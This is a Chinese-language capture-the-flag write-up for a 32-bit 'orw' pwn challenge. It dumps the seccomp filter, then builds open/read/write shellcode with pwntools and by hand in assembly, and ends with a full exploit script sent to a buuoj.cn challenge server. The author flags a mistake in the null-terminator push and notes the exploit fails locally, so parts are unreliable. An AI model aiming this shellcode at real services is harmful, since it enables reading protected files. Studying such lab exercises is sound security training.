# 1. 查看程序

32 位程序,没有开启 NX,初步认为可以利用 shellcode

ida 查看

看到有一个 orw_seccomp()seccomp函数 是一个沙盒机制

进去查看(关于沙盒详情见文章 沙盒机制

利用工具 seccomp-tools 查看具体过滤情况,
使用命令 seccomp-tools dump ./orw

看到我们可以使用 open/read/write 函数,可以写入执行这几个的函数的 shellcode 来读取 flag

  1. 通过 open 打开 flag 文件
  2. 利用 read 读取 flag 到某一地址
  3. 利用 write 输出这个地址的 flag 即可

# 2.shellcode 构造

利用系统调用方式:

# 1. 利用 shellcraft 构造

n
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read('eax','esp',100)  #此处 eax 为 3(打开 0,1,2 标准输入,标准输出,标准错误)
#read 函数的 fd 之所以是 3,是因为默认情况下,0,1,2 这三个句柄对应的是标准输入,标准输出,标准错误,系统进程默认会打开 0,1,2 这三个文件描述符。所以通常我们 open 的返回值是从 3 开始的(系统调用返回值会保存在 eax 中)
shellcode+=shellcraft.write(1,'esp',100)
p.send(asm(shellcode))  #记得要用 asm 转成汇编

# 2. 手动构造

1. 调用 open 打开 flag 文件:88

调用函数为 sys_open(const *path,0,0)

push 0x0 #字符串是以\x00结尾
push 0x67616c66 #flag的ascill码,小端序(66 "f" ,6c "l" ,61 "a" ,67 "g")
mov ebx,esp
xor    ecx,ecx
xor    edx,edx
mov  eax, 0x5
int     0x80

这里解释为什么先要 push 0x0 【后来发现,这里写错了,先 push 的 0,在栈上应该是高地址,flag 应该在低处,所以这里并没有起到作为终止符的作用,这里最应该是 0flag

2. 调用 read 读取 flag

调用函数为 read(0x3,esp,0x100) (0x3 为文件描述符 0,1,2,写入到 esp,这一部分 esp 没有进行调用不会被影响)

mov ebx,0x3
mov ecx,esp
mov edx, 0x100
mov eax,0x3
int     0x80

3. 调用 write 将 flag 从上面写入的位置输出到屏幕

调用的函数为 write(0x1,esp,0x100)

mov ebx,0x1
mov ecx,esp
mov edx,0x100
mov eax, 0x4
int   0x80

n
shellcode=asm(" ;    ;    ;      ; ") 
shellcode+=asm("")
shellcode+=asm("只有这里最后一个不用加分号")

这里就构造完毕 shellcode 了

# 3.exp:

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./orw')
#e=ELF('./')
p=remote('node4.buuoj.cn',27810)
#shellcode = (shellcraft.open("./flag"))
#shellcode+=(shellcraft.read('eax','esp',100))
#shellcode+=(shellcraft.write(1,'esp',100))
shellcode=("push 0x0 ;push 0x67616c66 ;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax, 0x5;int 0x80;") 
shellcode+=("mov ebx,0x3;mov ecx,0x804A0A0;mov edx, 0x100;mov eax,0x3;int 0x80;")
shellcode+=("mov ebx,0x1;mov ecx,0x804A0A0;mov edx,0x100;mov eax, 0x4;int 0x80")
p.recvuntil("your shellcode:")
#payload1=p32()+p32()+p32()+p32()
#payload1=p64()+p64()+p64()+p64()
#gdb.attach(p,"b *")
#gdb.attach(p)
#gdb.attach(pid)
p.send(asm(shellcode))
#p.recvuntil("")
#payload2=p32()+p32()+p32()+p32()
#payload2=p64()+p64()+p64()+p64()
#p.sendline(payload2)
p.interactive()

本地仍然打不通,应该是环境问题